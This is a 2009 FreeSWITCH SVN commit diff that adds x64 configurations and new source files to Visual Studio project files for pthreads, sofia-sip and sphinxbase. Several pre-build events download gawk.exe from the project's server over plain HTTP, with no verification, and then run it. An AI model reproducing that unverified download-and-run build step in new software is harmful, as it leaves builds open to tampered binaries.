+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\./pthread.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug DLL|Win32"
 			OutputDirectory="$(SolutionDir)Debug"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -274,8 +437,106 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug DLL|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\Debug"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\./pthread.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="../../pthreads-w32-2-7-0-release/"
+				PreprocessorDefinitions="__CLEANUP_C;WIN32;_DEBUG;_WINDOWS;_USRDLL;PTW32_BUILD;_CRT_SECURE_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\./pthread.pch"
+				AssemblerListingLocation="$(IntDir)\"
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				GenerateXMLDocumentationFiles="false"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG,PTW32_RC_MSC"
+				Culture="1033"
+				AdditionalIncludeDirectories="."
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(OutDir)\pthreadVC2.dll"
+				LinkIncremental="2"
+				SuppressStartupBanner="true"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\./pthreadVC2.pdb"
+				GenerateMapFile="true"
+				MapFileName=".\./pthreadVC2.map"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)pthreadVC2.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\./pthread.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release DLL|Win32"
-			OutputDirectory="$(SolutionDir)Release"
+			OutputDirectory="$(SolutionDir)\Release"
 			IntermediateDirectory="$(ConfigurationName)"
 			ConfigurationType="2"
 			UseOfMFC="0"
@@ -367,6 +628,100 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release DLL|x64"
+			OutputDirectory="$(SolutionDir)\$(PlatformName)\release"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\./pthread.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="../../pthreads-w32-2-7-0-release/"
+				PreprocessorDefinitions="__CLEANUP_C;WIN32;NDEBUG;_WINDOWS;_USRDLL;PTW32_BUILD;_CRT_SECURE_NO_DEPRECATE"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\./pthread.pch"
+				AssemblerListingLocation="$(IntDir)\"
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				GenerateXMLDocumentationFiles="false"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG,PTW32_RC_MSC"
+				Culture="1033"
+				AdditionalIncludeDirectories="."
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(OutDir)\pthreadVC2.dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)pthreadVC2.lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\./pthread.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -418,6 +773,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCResourceCompilerTool"
+						PreprocessorDefinitions=""
+						AdditionalIncludeDirectories=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -427,6 +791,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCResourceCompilerTool"
+						PreprocessorDefinitions=""
+						AdditionalIncludeDirectories=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug DLL|Win32"
 					>
 					<Tool
@@ -436,6 +809,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug DLL|x64"
+					>
+					<Tool
+						Name="VCResourceCompilerTool"
+						PreprocessorDefinitions=""
+						AdditionalIncludeDirectories=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release DLL|Win32"
 					>
 					<Tool
@@ -444,6 +826,15 @@
 						AdditionalIncludeDirectories=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release DLL|x64"
+					>
+					<Tool
+						Name="VCResourceCompilerTool"
+						PreprocessorDefinitions=""
+						AdditionalIncludeDirectories=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 	</Files>

Property changes: freeswitch/branches/seven/libs/win32/sofia


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
   + Debug
Release
*.ncb
*.user
*.bak
x64

Modified: freeswitch/branches/seven/libs/win32/sofia/libsofia_sip_ua_static.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/sofia/libsofia_sip_ua_static.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/sofia/libsofia_sip_ua_static.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -26,7 +29,7 @@
 			>
 			<Tool
 				Name="VCPreBuildEventTool"
-				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://svn.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://files.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
 			/>
 			<Tool
 				Name="VCCustomBuildTool"
@@ -93,6 +96,81 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://files.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\..\sofia-sip\win32&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\su&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\ipt&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\sresolv&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\bnf&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\url&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\msg&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\sip&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nta&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nua&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\iptsec&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\http&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nth&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nea&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\sdp&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\soa&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\stun&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\tport&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\features&quot;;&quot;..\..\pthreads-w32-2-7-0-release&quot;;."
+				PreprocessorDefinitions="_WIN64;WIN32;_DEBUG;_LIB;IN_LIBSOFIA_SIP_UA_STATIC;LIBSOFIA_SIP_UA_STATIC;LIBSRES_STATIC;PTW32_STATIC_LIB;HAVE_IPHLPAPI_H;SU_DEBUG=0"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug/libsofia_sip_ua_static.pch"
+				BrowseInformation="1"
+				WarningLevel="4"
+				WarnAsError="false"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1035"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(IntDir)\libsofia_sip_ua_static.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug/libsofia_sip_ua_static.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory=".\Release"
 			IntermediateDirectory=".\Release"
@@ -103,7 +181,7 @@
 			>
 			<Tool
 				Name="VCPreBuildEventTool"
-				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://svn.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://files.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
 			/>
 			<Tool
 				Name="VCCustomBuildTool"
@@ -169,6 +247,81 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://files.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="&quot;..\..\sofia-sip\win32&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\su&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\ipt&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\sresolv&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\bnf&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\url&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\msg&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\sip&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nta&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nua&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\iptsec&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\http&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nth&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\nea&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\sdp&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\soa&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\stun&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\tport&quot;;&quot;..\..\sofia-sip\libsofia-sip-ua\features&quot;;&quot;..\..\pthreads-w32-2-7-0-release&quot;;."
+				PreprocessorDefinitions="_WIN64;WIN32;NDEBUG;_LIB;IN_LIBSOFIA_SIP_UA_STATIC;LIBSOFIA_SIP_UA_STATIC;LIBSRES_STATIC;PTW32_STATIC_LIB;HAVE_IPHLPAPI_H;SU_DEBUG=0"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release/libsofia_sip_ua_static.pch"
+				BrowseInformation="1"
+				WarningLevel="4"
+				WarnAsError="false"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1035"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(IntDir)\libsofia_sip_ua_static.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release/libsofia_sip_ua_static.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -274,6 +427,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\su_string.c"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\su_strlst.c"
 					>
 				</File>
@@ -614,6 +771,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sres_sip.c"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sresolv.c"
 					>
 				</File>
@@ -734,6 +895,14 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_client.c"
+					>
+				</File>
+				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_client.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_common.c"
 					>
 				</File>
@@ -786,6 +955,14 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_server.c"
+					>
+				</File>
+				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_server.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_session.c"
 					>
 				</File>
@@ -1024,6 +1201,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\sofia-sip\su_string.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\sofia-sip\su_strlst.h"
 					>
 				</File>
@@ -1323,6 +1504,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sofia-sip\sres_sip.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sofia-sip\sresolv.h"
 					>
 				</File>

Modified: freeswitch/branches/seven/libs/win32/sofia/libsofia_sip_ua_static.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/sofia/libsofia_sip_ua_static.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/sofia/libsofia_sip_ua_static.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,7 +25,7 @@
 			>
 			<Tool
 				Name="VCPreBuildEventTool"
-				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://svn.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://files.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
 			/>
 			<Tool
 				Name="VCCustomBuildTool"
@@ -103,7 +103,7 @@
 			>
 			<Tool
 				Name="VCPreBuildEventTool"
-				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://svn.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
+				CommandLine="if not exist &quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot; cscript /nologo &quot;$(ProjectDir)..\util.vbs&quot; Get http://files.freeswitch.org/downloads/win32/gawk.exe &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;cd /D &quot;$(ProjectDir)..\..\sofia-sip\win32\&quot;&#x0D;&#x0A;set AWK=&quot;$(ProjectDir)..\..\sofia-sip\win32\gawk.exe&quot;&#x0D;&#x0A;&quot;autogen.cmd&quot;&#x0D;&#x0A;"
 			/>
 			<Tool
 				Name="VCCustomBuildTool"
@@ -275,6 +275,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\su_string.c"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\su_strlst.c"
 					>
 				</File>
@@ -615,6 +619,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sres_sip.c"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sresolv.c"
 					>
 				</File>
@@ -735,6 +743,14 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_client.c"
+					>
+				</File>
+				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_client.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_common.c"
 					>
 				</File>
@@ -787,6 +803,14 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_server.c"
+					>
+				</File>
+				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_server.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\nua\nua_session.c"
 					>
 				</File>
@@ -1025,6 +1049,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\sofia-sip\su_string.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\su\sofia-sip\su_strlst.h"
 					>
 				</File>
@@ -1324,6 +1352,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sofia-sip\sres_sip.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\sofia-sip\libsofia-sip-ua\sresolv\sofia-sip\sresolv.h"
 					>
 				</File>

Property changes: freeswitch/branches/seven/libs/win32/sphinxbase


Name: svn:ignore
   - Debug
*.user
Release
   + Debug
*.user
Release
x64

Modified: freeswitch/branches/seven/libs/win32/sphinxbase/sphinxbase.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/sphinxbase/sphinxbase.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/sphinxbase/sphinxbase.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -103,6 +106,91 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\../../lib/Release/sphinxbase.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="&quot;..\..\sphinxbase-0.4.99\include\win32&quot;;&quot;..\..\sphinxbase-0.4.99\include&quot;"
+				PreprocessorDefinitions="NDEBUG;WIN32;_WINDOWS;_USRDLL;SPHINXBASE_EXPORTS;HAVE_CONFIG_H;SPHINXDLL;_CRT_SECURE_NO_DEPRECATE"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release/sphinxbase.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				AdditionalLibraryDirectories="..\..\..\Release"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\../../lib/Release/sphinxbase.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -199,6 +287,99 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
